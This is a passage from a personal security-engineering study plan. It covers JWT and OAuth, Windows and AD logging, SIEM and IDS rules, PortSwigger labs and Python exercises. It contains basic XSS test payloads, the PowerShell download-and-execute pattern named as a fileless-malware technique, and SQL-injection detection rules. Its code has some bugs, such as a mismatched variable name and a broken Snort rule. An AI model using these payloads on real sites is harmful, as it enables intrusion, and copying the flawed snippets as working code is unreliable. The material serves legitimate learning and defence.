10. Weak secret brute force (dictionary attack)
11. Missing signature verification detection

Tools:
- jwt_tool: https://github.com/ticarpi/jwt_tool
- Manual testing with PyJWT library

Coding Challenge (2 hours)

Task: JWT Security Analyzer

```
# jwt_analyzer.py
import jwt
import json
from datetime import datetime
import base64

class JWTSecurityAnalyzer:
    def __init__(self, token):
        self.token = token
        self.header = None
        self.payload = None

    def decode_parts(self):
        \"\"\"Decode header and payload without verification\"\"\"
        parts = self.token.split('.')
        self.header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
        self.payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    def check_algorithm(self):
        \"\"\"Flag weak algorithms\"\"\"
        alg = self.header.get('alg', 'none')
        weap_algs = ['none', 'HS256']  # HS256 weak if public key leaked
        if alg.lower() in [a.lower() for a in weak_algs]:
            return f"WARNING: Weak algorithm {alg}"
        return f"OK: Algorithm {alg}"

    def check_expiration(self):
        \"\"\"Check if token is expired\"\"\"
        if 'exp' not in self.payload:
            return "WARNING: No expiration claim"
        exp_timestamp = self.payload['exp']
        if datetime.utcnow().timestamp() > exp_timestamp:
            return "EXPIRED: Token is no longer valid"
        return "OK: Token not expired"

    def security_report(self):
        \"\"\"Generate comprehensive security report\"\"\"
        self.decode_parts()
        print(f"Algorithm Check: {self.check_algorithm()}")
        print(f"Expiration Check: {self.check_expiration()}")
        # Additional checks...
```

Requirements:
- Decode JWT without verification
- Display header and payload
- Check for weak algorithms
- Verify expiration time

- Flag missing security claims
- Validate signature with provided secret

Flashcard Creation (1 hour)

- TLS 1.2 vs 1.3: Key differences (3 cards)
- JWT components: Header, payload, signature (3 cards)
- Common crypto mistakes: ECB, hardcoded keys, weak RNG (5 cards)
- Side-channel attacks: Timing, power, cache (3 cards)

AppSec Focus (10 hours)

Python Workout Ch 8 (5 hours)

Chapter 8: Functional Programming with Comprehensions
- Exercise 29: Advanced list comprehensions
- Exercise 30: Dictionary comprehensions
- Exercise 31: Set comprehensions
- Exercise 32: Generator expressions
- Exercise 33: Using map(), filter(), reduce()
- Exercise 34: Nested comprehensions

Key Concepts:
- List comprehensions: `[x*2 for x in range(10) if x % 2 == 0]`
- Dict comprehensions: `{k: v*2 for k, v in items.items()}`
- Set comprehensions: `{x.upper() for x in words if len(x) > 3}`
- Generator expressions: `(x*2 for x in range(1000000))` - memory efficient
- map/filter/reduce: Functional programming patterns
- When to use comprehensions vs loops: Readability vs performance

OAuth 2.0 Study (2 hours)

Reading: API Security in Action Ch 3-4

OAuth 2.0 Grant Types:
1. **Authorization Code Flow** (most secure for web apps)
- User redirected to authorization server
- User grants permission
- Auth server returns authorization code
- Client exchanges code for access token
- PKCE extension for public clients

1. **Implicit Flow** (deprecated, previously for SPAs)
2. Access token returned directly in redirect
3. No client secret
4. Vulnerable to token leakage
5. **Client Credentials** (machine-to-machine)
6. Client authenticates directly

7. No user interaction
8. Used for service accounts
9. **Resource Owner Password** (legacy, avoid)
10. Client collects user credentials
11. High risk if client compromised

Key OAuth 2.0 Concepts:
- Resource Owner: End user
- Client: Application requesting access
- Authorization Server: Issues tokens (e.g., [Target Company], [Target Company])
- Resource Server: Hosts protected resources (API)
- Scopes: Granular permissions (read, write, admin)
- Access Token: Short-lived (15 min - 1 hour)
- Refresh Token: Long-lived, used to obtain new access tokens

PKCE (Proof Key for Code Exchange):
- Extension for public clients (mobile, SPA)
- Prevents authorization code interception
- code_verifier (random string) → code_challenge (SHA256 hash)

PortSwigger XSS Labs (3 hours)

Complete 8 XSS Labs (Apprentice Level)

XSS Types:
- **Reflected XSS:** Input immediately reflected in response
- **Stored XSS:** Malicious script stored in database
- **DOM-based XSS:** Vulnerability in client-side JavaScript

Lab List:
1. Reflected XSS into HTML context with nothing encoded
2. Stored XSS into HTML context with nothing encoded
3. DOM XSS in `document.write` sink using `location.search` source
4. DOM XSS in `innerHTML` sink using `location.search` source
5. DOM XSS in jQuery anchor `href` attribute sink
6. DOM XSS in jQuery selector sink using hashchange event
7. Reflected XSS into attribute with angle brackets HTML-encoded
8. Stored XSS into anchor `href` attribute with double quotes encoded

Access: https://portswigger.net/web-security/cross-site-scripting

Common XSS Payloads:

```
<!-- Basic -->
<script>alert(1)</script>

<!-- IMG tag -->
<img src=x onerror=alert(1)>

<!-- Event handlers -->
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>

<!-- SVG -->
<svg/onload=alert(1)>

<!-- Encoded -->
<svg><script>alert&#40;1&#41;</script></svg>
```

Deliverables

- [ ] JWT security analyzer tool completed
- [ ] JWT analysis notes (analyzed 5+ real tokens)
- [ ] 8 XSS labs complete (Total: 28/211)
- [ ] Python Workout Ch 8 all exercises complete
- [ ] OAuth 2.0 flow diagrams for all grant types
- [ ] TLS/JWT/crypto flashcards (14 cards total)
- [ ] Python fluency: 7.5/10

Time Allocation Summary

Activity	Hours
TLS/JWT Reading	5
JWT Analysis Labs	2
Weak JWT Testing	2
Flashcard Creation	1
Python Workout Ch 8	5
OAuth 2.0 Study	2
PortSwigger XSS Labs	3
JWT Analyzer Coding	2
TOTAL	**22**

Week 7: Windows Security + Python Modules

January 27 - February 2, 2026 | Total: 24 hours

Security Engineering Focus (14 hours)

Core Topics

- **Windows Architecture Fundamentals**
- **User Mode vs Kernel Mode:**
    - User mode: Applications, limited privileges
    - Kernel mode: OS core, device drivers, full system access
    - System call interface between modes
- **Registry:** Hierarchical database for Windows configuration
    - HKEY_LOCAL_MACHINE (HKLM): System-wide settings
    - HKEY_CURRENT_USER (HKCU): User-specific settings
    - Common attack vector: Registry persistence
- **Windows Services:**
    - Background processes running with SYSTEM privileges
    - Service Control Manager (SCM)
    - Service accounts: LocalSystem, NetworkService, LocalService

- **Active Directory (AD) Fundamentals**
- **Domain Controllers (DCs):**
  - Central authentication servers
  - Store user/computer objects
  - Replicate changes across DCs
- **Organizational Units (OUs):**
  - Containers for organizing objects
  - Apply Group Policy Objects (GPOs)
- **Group Policy:**
  - Centralized configuration management
  - Computer and User policies
  - Security settings, software deployment
- **Kerberos Authentication:**
  - Ticket Granting Ticket (TGT)
  - Service Tickets (TGS)
  - Key Distribution Center (KDC)
  - Common attacks: Golden Ticket, Silver Ticket, Kerberoasting
- **Windows Event Logging**
- **Event Viewer:** GUI for log analysis
- **Security Event Log:**
  - Event ID 4624: Successful logon
  - Event ID 4625: Failed logon
  - Event ID 4672: Special privileges assigned
  - Event ID 4688: Process creation
  - Event ID 4698: Scheduled task created
- **Sysmon (System Monitor):**
  - Enhanced logging for security monitoring
  - Process creation with command lines
  - Network connections
  - File creation events
  - Registry modifications
  - Configuration: SwiftOnSecurity config
- **PowerShell Security**

- **Attack Techniques:**
  - `Invoke-Expression`: Execute arbitrary code
  - `IEX (New-Object Net.WebClient).DownloadString()`: Fileless malware
  - Encoded commands: `-EncodedCommand` flag
  - PowerShell Empire, Cobalt Strike payloads
- **Defensive Measures:**
  - PowerShell Constrained Language Mode
  - ScriptBlock Logging: Log all PowerShell commands
  - Module Logging: Record pipeline execution
  - Transcription: Session recording
  - Application whitelisting: AppLocker, WDAC
- **EDR (Endpoint Detection and Response)**
- **[Target Company] Defender for Endpoint:**
  - Behavioral monitoring
  - Machine learning threat detection
  - Attack surface reduction rules
  - Automated investigation and remediation
- **Detection Capabilities:**
  - Process injection detection
  - Credential dumping alerts
  - Lateral movement indicators
  - Living-off-the-land binary (LOLBAS) execution

Reading Materials (6 hours)

1. **Windows Internals Overview** (2 hours)
2. Windows architecture documentation
3. User/Kernel mode interaction
4. Registry structure and security
5. **Active Directory Security** (2 hours)
6. AD architecture and components
7. Kerberos protocol deep dive
8. Common AD attack vectors
9. URL: https://adsecurity.org/ (Sean Metcalf's blog)
10. **Sysmon Configuration** (2 hours)
11. Sysmon documentation: https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

12. SwiftOnSecurity config: https://github.com/SwiftOnSecurity/sysmon-config
13. Event correlation techniques

Labs & Practical Exercises (6 hours)

1. **Windows VM Setup & Sysmon** (2 hours)
2. Spin up Windows 10/11 VM or use existing system
3. Download Sysmon: https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
4. Install with SwiftOnSecurity config: `powershell Sysmon64.exe -accepteula -i sysmonconfig-export.xml`
5. Verify installation: Event Viewer → Applications and Services → [Target Company] → Windows → Sysmon
6. **Event Log Analysis** (2 hours)
7. Generate security events:
    - Failed login attempts
    - Create new user account
    - Start/stop services
8. Filter Event Viewer for specific Event IDs
9. Use PowerShell for log parsing: `powershell Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625} | Select-Object -First 10`
10. Analyze Sysmon process creation events (Event ID 1)
11. **PowerShell Logging Analysis** (2 hours)
12. Enable ScriptBlock Logging:
    - Group Policy: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell
    - Enable "Turn on PowerShell Script Block Logging"
13. Execute test PowerShell commands
14. Analyze logs in Event Viewer:
    - [Target Company]-Windows-PowerShell/Operational
    - Event ID 4104 (ScriptBlock logging)
15. Detect suspicious commands:
    - `Invoke-Expression`
    - `DownloadString`
    - Base64-encoded commands

Coding Challenge (2 hours)

Task: Windows Event Log Parser

```python
# windows_log_parser.py
import win32evtlog
import win32evtlogutil
import win32con

def parse_security_log(event_id, max_events=100):
    \"\"\"
    Parse Windows Security Event Log for specific Event ID

    Args:
        event_id: Event ID to filter (e.g., 4625 for failed logins)
        max_events: Maximum number of events to retrieve
    \"\"\"
    server = 'localhost'
    logtype = 'Security'
    hand = win32evtlog.OpenEventLog(server, logtype)

    flags = win32evtlog.EVENTLOG_BACKWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ

    events = []
    count = 0

    while count < max_events:
        events_batch = win32evtlog.ReadEventLog(hand, flags, 0)
        if not events_batch:
            break

        for event in events_batch:
            if event.EventID == event_id:
                events.append({
                    'time': event.TimeGenerated,
                    'event_id': event.EventID,
                    'source': event.SourceName,
                    'message': win32evtlogutil.SafeFormatMessage(event, logtype)
                })
                count += 1
                if count >= max_events:
                    break

    win32evtlog.CloseEventLog(hand)
    return events

# Usage
failed_logins = parse_security_log(4625, max_events=50)
for event in failed_logins:
    print(f"{event['time']}: {event['message']}")
```

Requirements:
- Parse Windows Security Event Log
- Filter by Event ID
- Extract relevant fields (time, source, message)
- Count failed login attempts by IP or username
- Support Linux alternative: Parse exported .evtx files using python-evtx library

Python Focus (10 hours)

Python Workout Ch 9 (6 hours)

Chapter 9: Modules and Packages
- Exercise 35: Creating custom modules
- Exercise 36: Package organization with `__init__.py`
- Exercise 37: Import system variations
- Exercise 38: Namespace packages
- Exercise 39: Circular import prevention
- Exercise 40: Module reloading

Key Concepts:
- **Module creation:** Any .py file is a module
- **Package structure:**
`mypackage/ __init__.py module1.py module2.py subpackage/ __init__.py module3.py`
- **Import variations:**
- `import module`
- `from module import function`
- `from module import *` (avoid in production)
- `import module as alias`
- **`__init__.py`:** Package initialization, controls `from package import *`
- **`__name__ == "__main__"`:** Script vs module execution
- **Relative imports:** `from . import module`, `from .. import module`

Windows Log Parser Development (4 hours)

Build modular Windows Event Log analysis tool

Module Structure:

```
windows_log_analyzer/
    __init__.py
    log_reader.py      # Core log reading functions
    event_parser.py    # Parse specific event types
    analyzers.py       # Analysis functions (brute force detection, etc.)
    report_generator.py # Generate reports
    main.py            # CLI interface
```

log_reader.py:

```
# log_reader.py
import win32evtlog
import win32con

class WindowsEventReader:
    def __init__(self, log_type='Security'):
        self.log_type = log_type
        self.handle = None

    def open_log(self, server='localhost'):
        \"\"\"Open event log handle\"\"\"
        self.handle = win32evtlog.OpenEventLog(server, self.log_type)

    def read_events(self, max_events=1000):
        \"\"\"Read events from log\"\"\"
        # Implementation
        pass

    def close_log(self):
        \"\"\"Close event log handle\"\"\"
        if self.handle:
            win32evtlog.CloseEventLog(self.handle)
```

analyzers.py:

```
# analyzers.py
from collections import Counter

def detect_brute_force(events, threshold=5):
    \"\"\"
    Detect brute force attacks from failed login events

    Args:
        events: List of event dictionaries
        threshold: Number of failures to flag as suspicious

    Returns:
        List of suspicious IPs/usernames
    \"\"\"
    failed_attempts = Counter()

    for event in events:
        # Extract username or IP from event
        identifier = extract_identifier(event)
        failed_attempts[identifier] += 1

    return [ip for ip, count in failed_attempts.items() if count >= threshold]
```

Deliverables

- [ ] Windows security comprehensive notes (AD, Event Logs, PowerShell)
- [ ] Windows Event Log parser tool (modular design with packages)
- [ ] Sysmon configured on Windows VM
- [ ] Event Log analysis report (3+ security findings)
- [ ] PowerShell ScriptBlock logging enabled and tested
- [ ] Python Workout Ch 9 all exercises complete
- [ ] Python fluency: 7.5/10

Time Allocation Summary

Activity	Hours
Windows Internals Reading	2
Active Directory Reading	2
Sysmon Configuration Reading	2
Windows VM + Sysmon Setup	2
Event Log Analysis Lab	2
PowerShell Logging Lab	2
Python Workout Ch 9	6
Windows Log Parser Development	4
Flashcard Creation	2
TOTAL	**24**

Week 8: SIEM Fundamentals + Python OOP Part 1

February 3-9, 2026 | Total: 24 hours

Security Engineering Focus (14 hours)

Core Topics

- **Log Analysis Fundamentals**
- **Common Log Sources:**
  - Syslog: Unix/Linux system logs (RFC 5424)
  - Windows Event Logs: Security, System, Application
  - Web server logs: Apache access.log, error.log, Nginx
  - Firewall logs: iptables, pfSense, Cisco ASA
  - Application logs: Custom application logging
- **Log Normalization:**
  - Convert different log formats to common schema
  - Extract key fields: timestamp, source IP, user, action
  - Standardize timestamps (UTC recommended)

- **Log Aggregation:**
    - Centralize logs from multiple sources
    - Tools: Logstash, Fluentd, rsyslog
- **SIEM Basics**
- **SIEM Components:**
    - Collection: Agents, syslog, APIs
    - Storage: Time-series databases, indexed storage
    - Analysis: Correlation rules, ML models
    - Visualization: Dashboards, alerts
- **Splunk vs ELK Stack:**
    - **Splunk:** Commercial, powerful SPL query language, expensive
    - **ELK (Elasticsearch, Logstash, Kibana):** Open-source, flexible, scalable
    - **Modern alternatives:** Graylog, Sumo Logic, [Target Company]
- **Log Aggregation Tools:**
    - Logstash: Parse, transform, forward logs
    - Fluentd: Lightweight, pluggable architecture
    - Filebeat: Lightweight shipper for Logstash/Elasticsearch
- **Detection Rules & Correlation**
- **Rule Types:**
    - Threshold: Count > N in time window
    - Sequence: Event A followed by Event B within time
    - Aggregation: Group by field and count
    - Statistical: Deviation from baseline
- **Correlation Logic:**
    - AND: All conditions must be true
    - OR: Any condition true
    - NOT: Exclude matching events
    - Time windows: Events within X minutes
- **Alerting Best Practices:**
    - Severity levels: Critical, High, Medium, Low, Info
    - Alert fatigue prevention: Tune thresholds
    - False positive reduction: Whitelist known-good
- **Indicators of Compromise (IOCs)**

- **Types of IOCs:**
  - **IP addresses:** Known malicious IPs, C2 servers
  - **Domain names:** Malware C2 domains, phishing sites
  - **File hashes:** MD5, SHA-1, SHA-256 of malware
  - **URLs:** Malicious URLs, exploit kits
  - **Email addresses:** Phishing sender addresses
  - **User agents:** Malicious user agent strings
- **IOC Sources:**
  - Threat intelligence feeds (STIX/TAXII)
  - OSINT: AlienVault OTX, VirusTotal
  - Commercial: Recorded Future, [Target Company]
- **Behavioral IOCs:**
  - Unusual login times
  - Geographic anomalies (login from new country)
  - Large data transfers
  - Multiple failed authentication attempts
  - Privilege escalation attempts

Reading Materials (6 hours)

1. **Applied Security Visualization** (2 hours)
2. Chapters 1-4: Log analysis fundamentals
3. Visualization techniques for security data
4. Pattern recognition in logs
5. **Splunk Fundamentals** (2 hours)
6. Splunk Getting Started: https://docs.splunk.com/Documentation/Splunk/latest/SearchTutorial
7. SPL (Search Processing Language) basics
8. Creating basic searches and dashboards
9. **ELK Stack Overview** (2 hours)
10. Elasticsearch basics: https://www.elastic.co/guide/
11. Logstash configuration patterns
12. Kibana dashboard creation
13. Filebeat configuration

Labs & Practical Exercises (6 hours)

1. **ELK Stack Installation** (3 hours)
2. **Using Docker Compose:**
   ```yaml
   ```

```
version: '3'
services:
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:8.11.0
environment:
- discovery.type=single-node
- xpack.security.enabled=false
ports:
- "9200:9200"

kibana:
image: docker.elastic.co/kibana/kibana:8.11.0
ports:
- "5601:5601"
depends_on:
- elasticsearch

logstash:
image: docker.elastic.co/logstash/logstash:8.11.0
volumes:
- ./logstash.conf:/usr/share/logstash/pipeline/logstash.conf
depends_on:
- elasticsearch
```
- Start stack: docker-compose up -d`
- Verify: Access Kibana at http://localhost:5601

3. **Log Ingestion** (2 hours)

4. **Sample Logstash Configuration:**

```
input {
file {
path => "/var/log/apache2/access.log"
start_position => "beginning"
}
}

filter {
grok {
match => { "message" => "%{COMBINEDAPACHELOG}" }
}
date {
match => [ "timestamp", "dd/MMM/yyyy:HH:mm:ss Z" ]
}
}

output {
elasticsearch {
hosts => ["elasticsearch:9200"]
index => "apache-logs-%{+YYYY.MM.dd}"
}
}
```

```
- Ingest sample logs: Apache access.log, auth.log, firewall logs
- Verify data in Kibana Discover view

5. **Detection Rule Creation** (3 hours)
   Create detection rules in Kibana:

**Rule 1: Brute Force Detection**
- Trigger: More than 5 failed SSH login attempts from same IP in 5 minutes
- Query:
`event.action: "ssh_failed_login" | stats count by source.ip | where count > 5`

**Rule 2: Port Scan Detection**
- Trigger: Single source IP connects to >20 unique destination ports in 1 minute
- Indicates network reconnaissance

**Rule 3: SQL Injection Attempt**
- Trigger: Web request contains SQL keywords (UNION, SELECT, DROP, etc.)
- Query web server logs for patterns:
`message: /UNION.*SELECT|DROP TABLE|1=1/`

**Configure Alerting:**
- Set up email/Slack notifications
- Define severity levels
- Test each rule with simulated events

### Coding Challenge (2 hours)

**Task:** IOC Extractor Tool
```

```
# ioc_extractor.py
import re
from typing import List, Dict

class IOCExtractor:
    \"\"\"Extract Indicators of Compromise from logs\"\"\"

    def __init__(self):
        # Regex patterns for IOCs
        self.ip_pattern = r'\b(?:\d{1,3}\.){3}\d{1,3}\b'
        self.domain_pattern = r'\b(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}\b'
        self.url_pattern = r'https?://[^\s<>"]+'
        self.email_pattern = r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'
        self.md5_pattern = r'\b[a-fA-F0-9]{32}\b'
        self.sha256_pattern = r'\b[a-fA-F0-9]{64}\b'

    def extract_ips(self, text: str) -> List[str]:
        \"\"\"Extract IP addresses from text\"\"\"
        return re.findall(self.ip_pattern, text)

    def extract_domains(self, text: str) -> List[str]:
        \"\"\"Extract domain names from text\"\"\"
        domains = re.findall(self.domain_pattern, text.lower())
        # Filter out IP addresses
        return [d for d in domains if not re.match(self.ip_pattern, d)]

    def extract_urls(self, text: str) -> List[str]:
        \"\"\"Extract URLs from text\"\"\"
        return re.findall(self.url_pattern, text)

    def extract_hashes(self, text: str) -> Dict[str, List[str]]:
        \"\"\"Extract file hashes (MD5, SHA256)\"\"\"
        return {
            'md5': re.findall(self.md5_pattern, text),
            'sha256': re.findall(self.sha256_pattern, text)
        }

    def extract_all(self, text: str) -> Dict[str, List[str]]:
        \"\"\"Extract all IOC types from text\"\"\"
        return {
            'ips': self.extract_ips(text),
            'domains': self.extract_domains(text),
            'urls': self.extract_urls(text),
            'emails': re.findall(self.email_pattern, text),
            'hashes': self.extract_hashes(text)
        }

# Usage
```

```
extractor = IOCExtractor()
log_data = \"\"\"
Malicious connection from 192.168.1.100 to evil.com
Downloaded malware from http://malicious-site.com/payload.exe
File hash: 5d41402abc4b2a76b9719d911017c592
\"\"\"

iocs = extractor.extract_all(log_data)
print("Extracted IOCs:", iocs)
```

Requirements:
- Extract IPs, domains, URLs, email addresses, file hashes
- Use regex patterns for each IOC type
- Return structured dict with categorized IOCs
- Handle mixed log formats
- De-duplicate results

AppSec Focus (10 hours)

Python Workout Ch 10 (6 hours)

Chapter 10: Object-Oriented Programming Basics
- Exercise 41: Creating simple classes
- Exercise 42: Instance variables and methods
- Exercise 43: `__init__` constructor
- Exercise 44: Instance vs class variables
- Exercise 45: Encapsulation basics
- Exercise 46: String representation (`__str__` , `__repr__`)

Key Concepts:
- **Class definition:**
`python class LogEntry: def __init__(self, timestamp, message): self.timestamp = timestamp self.message = message`
- **Instance vs Class variables:**
- Instance: Unique to each object (`self.variable`)
- Class: Shared across all instances (`ClassName.variable`)
- **Methods:** Functions inside class, first parameter always `self`
- **Encapsulation:** Bundling data and methods, private variables `_variable`
- **Special methods:**
- `__init__` : Constructor
- `__str__` : Human-readable string representation
- `__repr__` : Unambiguous string representation
- `__len__` : Length of object
- `__eq__` : Equality comparison

PortSwigger Authentication Labs (4 hours)

Complete 8 Authentication Labs

Authentication Vulnerabilities:
- Password-based authentication weaknesses
- Multi-factor authentication bypass
- Session management flaws
- Brute force protection bypass

Lab List:
1. Username enumeration via different responses
2. Username enumeration via subtly different responses
3. Username enumeration via response timing
4. Broken brute-force protection, IP block
5. Username enumeration via account lock
6. Broken brute-force protection, multiple credentials per request
7. 2FA simple bypass
8. 2FA broken logic

Access: https://portswigger.net/web-security/authentication

Concepts Covered:
- Username enumeration techniques
- Brute force attacks and bypasses
- 2FA/MFA bypass methods
- Session token analysis
- Cookie manipulation

Deliverables

- [ ] ELK stack deployed and operational
- [ ] 3+ detection rules configured (brute force, port scan, SQLi)
- [ ] Log parser with OOP design (LogEntry class)
- [ ] IOC extractor tool completed
- [ ] 8 authentication labs complete (Total: 36/211)
- [ ] Python Workout Ch 10 all exercises complete
- [ ] SIEM architecture diagram
- [ ] Python fluency: 8/10

Time Allocation Summary

Activity	Hours
Log Analysis Reading	2
Splunk/SIEM Reading	2
ELK Stack Reading	2
ELK Installation Lab	3
Log Ingestion Lab	2
Detection Rule Creation	3
IOC Extractor Coding	2
Python Workout Ch 10	6
PortSwigger Auth Labs	4
TOTAL	**24**

Phase 2: Detection & Exploitation

Weeks 9-16 | February 10 - April 5, 2026
Total Hours: 184-208 hours
Weekly Average: 23-26 hours
Focus: Advanced Detection, Exploitation Techniques, Offensive Security

---

Week 9: IDS/Network Forensics + Python OOP Part 2

February 10-16, 2026 | Total: 24 hours

Security Engineering Focus (14 hours)

Core Topics

- **IDS vs IPS Fundamentals**
- **IDS (Intrusion Detection System):**
    - Passive monitoring, generates alerts
    - Network-based (NIDS) vs Host-based (HIDS)

  - Signature-based: Pattern matching against known attacks
  - Anomaly-based: Detect deviations from baseline behavior
  - Examples: Snort, Suricata, Zeek (formerly Bro)
- **IPS (Intrusion Prevention System):**
  - Active defense, blocks malicious traffic inline
  - Can drop packets, reset connections
  - Risk: False positives can block legitimate traffic
- **Detection Methodologies:**
  - Signature/Rule-based: Fast, low false positives, misses unknown attacks
  - Anomaly/Behavioral: Detects zero-days, higher false positive rate
  - Hybrid: Combination of both approaches
- **Snort/Suricata Deep Dive**
- **Snort Rule Syntax:** `alert tcp any any -> 192.168.1.0/24 80 (msg:"SQL Injection Attempt"; content:"UNION SELECT"; sid:1000001;)`
- **Rule Components:**
  - Action: alert, log, pass, drop, reject
  - Protocol: tcp, udp, icmp, ip
  - Source IP/Port: any, specific IP, CIDR
  - Direction: -> (unidirectional), <> (bidirectional)
  - Destination IP/Port
  - Options: msg, content, pcre, threshold, sid
- **Suricata Advantages:**
  - Multi-threaded (faster on multi-core systems)
  - Native IPv6 support
  - TLS/SSL inspection
  - HTTP logging
- **Rule Tuning:**
  - Disable noisy rules
  - Adjust thresholds to reduce false positives
  - Whitelist known-good traffic
- **PCAP Analysis with Wireshark**
- **Common Analysis Tasks:**
  - Follow TCP streams: Reconstruct conversations
  - Filter by protocol, IP, port

  - Identify suspicious patterns
  - Extract files from captures
  - Decrypt SSL/TLS (with private key)
- **Display Filters:**
  - `tcp.port == 80`
  - `http.request.method == "POST"`
  - `ip.addr == 192.168.1.100`
  - `tcp.flags.syn == 1 && tcp.flags.ack == 0`
  - `dns.qry.name contains "evil.com"`
- **Capture Filters (Berkeley Packet Filter syntax):**
  - `host 192.168.1.100`
  - `port 443`
  - `tcp and port 80`
  - `not broadcast and not multicast`
- **Network Attack Patterns**
- **Port Scanning:**
  - TCP SYN scan: Half-open scan, stealth
  - TCP Connect scan: Full 3-way handshake
  - UDP scan: Slower, connectionless
  - Detection: Many connections to different ports from single source
- **DDoS Patterns:**
  - SYN flood: Half-open connections exhaust resources
  - UDP flood: Overwhelming bandwidth
  - Amplification attacks: DNS, NTP, Memcached
  - Detection: High volume from many sources
- **C2 Beaconing:**
  - Regular outbound connections to external IP
  - Consistent timing intervals (every 60 seconds)
  - Detection: Periodic connections to same destination
- **Lateral Movement:**
  - Internal scanning after initial compromise
  - SMB/RDP connections between workstations
  - Pass-the-hash attacks
  - Detection: Unusual internal network connections

- **Email Security & Phishing Analysis**
- **Email Headers:**
  - `From:` Can be spoofed
  - `Return-Path:` Actual sender
  - `Received:` Chain of mail servers
  - `SPF:` Sender Policy Framework result
  - `DKIM:` DomainKeys Identified Mail signature
  - `DMARC:` Domain-based Message Authentication
- **Phishing Indicators:**
  - Mismatched From/Return-Path
  - Suspicious links (hover to reveal true URL)
  - Urgency language ("Act now!")
  - Requests for credentials/payment
  - Unexpected attachments (.exe, .scr, .zip)
- **Link Analysis:**
  - URL shorteners (bit.ly, tinyurl) - expand first
  - Homograph attacks: Look-alike domains (goog1e.com vs google.com)
  - Typosquatting: Common typos (gooogle.com)

Reading Materials (6 hours)

1. **Snort Manual - Rule Writing** (2 hours)
2. URL: https://www.snort.org/documents
3. Focus: Rule syntax, options, best practices
4. Writing custom detection rules
5. **PCAP Analysis Fundamentals** (2 hours)
6. Wireshark documentation
7. Network forensics methodology
8. Malware traffic analysis techniques
9. **Email Security Best Practices** (1 hour)
10. SPF, DKIM, DMARC explained
11. Phishing analysis workflow
12. Header examination techniques
13. **Network Attack Patterns** (1 hour)
14. Common attack signatures
15. Behavioral indicators

16. Detection evasion techniques

Labs & Practical Exercises (6 hours)

1. **Snort Installation & Configuration** (3 hours)
2. Install Snort on Linux VM:
   `bash sudo apt-get install snort`
3. Configure network interface
4. Write custom rules for SQL injection detection:
   ```
   alert tcp any any -> any 80 (msg:"SQL Injection - UNION SELECT"; \
   content:"UNION"; nocase; content:"SELECT"; nocase; \
   distance:0; sid:1000001; rev:1;)

   alert tcp any any -> any 80 (msg:"SQL Injection - Single Quote"; \
   content:"""; pcre:"/"/"; \
   sid:1000002; rev:1;)
   ```
   - Test rules against sample HTTP traffic
   - Analyze Snort alerts
5. **PCAP Analysis Exercise** (3 hours)
6. Download sample PCAPs from:
   - Malware-traffic-analysis.net
   - Wireshark sample captures
7. **Analysis Tasks:**
   - Identify port scans: Look for SYN packets to multiple ports
   - Detect HTTP exfiltration: Large POST requests, unusual User-Agents
   - Find DNS tunneling: Long DNS queries, high query volume
   - Extract malware samples: Export HTTP objects
8. **Practice Filters:**
   ```
   # Find SYN scans
   tcp.flags.syn==1 && tcp.flags.ack==0

   # HTTP POST requests
   http.request.method == "POST"

   # Suspicious DNS
   dns.qry.name.len > 50
   ```
   - Write analysis report with findings
9. **Phishing Email Analysis** (2 hours)
10. Obtain sample phishing emails (use PhishTank samples)

11. Examine headers:
    - Identify actual sender from Received headers
    - Check SPF/DKIM/DMARC results
    - Trace email path through mail servers
12. Analyze links:
    - Hover over links to reveal true destination
    - Use URL expanders for shortened links
    - Check domains against reputation databases
13. Extract and analyze attachments (in sandbox):
    - File hashes
    - Metadata examination
    - Static analysis

Coding Challenge (2 hours)

Task: Network Traffic Analyzer

```python
# traffic_analyzer.py
from scapy.all import *
from collections import Counter

class NetworkTrafficAnalyzer:
    def __init__(self, pcap_file):
        self.pcap_file = pcap_file
        self.packets = []

    def load_pcap(self):
        \"\"\"Load packets from PCAP file\"\"\"
        self.packets = rdpcap(self.pcap_file)
        print(f"Loaded {len(self.packets)} packets")

    def detect_port_scan(self, threshold=20):
        \"\"\"Detect port scanning activity\"\"\"
        connections = {}  # {src_ip: set(dst_ports)}

        for pkt in self.packets:
            if TCP in pkt and pkt[TCP].flags == 0x02:  # SYN flag
                src = pkt[IP].src
                dst_port = pkt[TCP].dport
                if src not in connections:
                    connections[src] = set()
                connections[src].add(dst_port)

        scanners = {ip: ports for ip, ports in connections.items()
                    if len(ports) > threshold}
        return scanners

    def analyze_dns_queries(self):
        \"\"\"Analyze DNS query patterns\"\"\"
        queries = []
        for pkt in self.packets:
            if DNS in pkt and pkt.haslayer(DNSQR):
                queries.append(pkt[DNSQR].qname.decode())

        query_counts = Counter(queries)
        return query_counts.most_common(10)

    def detect_large_transfers(self, threshold_bytes=1000000):
        \"\"\"Detect large data transfers\"\"\"
        transfers = {}  # {(src, dst): total_bytes}

        for pkt in self.packets:
            if IP in pkt:
                key = (pkt[IP].src, pkt[IP].dst)
                size = len(pkt)
                transfers[key] = transfers.get(key, 0) + size

        large_transfers = {k: v for k, v in transfers.items()
                          if v > threshold_bytes}
        return large_transfers

# Usage
analyzer = NetworkTrafficAnalyzer('capture.pcap')
analyzer.load_pcap()

# Detect scans
scanners = analyzer.detect_port_scan()
print("Port scanners detected:", scanners)

# Analyze DNS
top_queries = analyzer.analyze_dns_queries()
print("Top DNS queries:", top_queries)
```

Requirements:
- Load and parse PCAP files using Scapy
- Detect port scanning (SYN packets to multiple ports)
- Analyze DNS query patterns
- Identify large data transfers
- Generate summary report

AppSec Focus (10 hours)

Python Workout Ch 11 (6 hours)

Chapter 11: Advanced Object-Oriented Programming
- Exercise 47: Inheritance basics
- Exercise 48: Method overriding
- Exercise 49: Super() function
- Exercise 50: Multiple inheritance
- Exercise 51: Polymorphism
- Exercise 52: Abstract base classes

Key Concepts:
- **Inheritance:**
```python
class SecurityEvent:
def **init**(self, timestamp, severity):
self.timestamp = timestamp
self.severity = severity

class NetworkEvent(SecurityEvent):
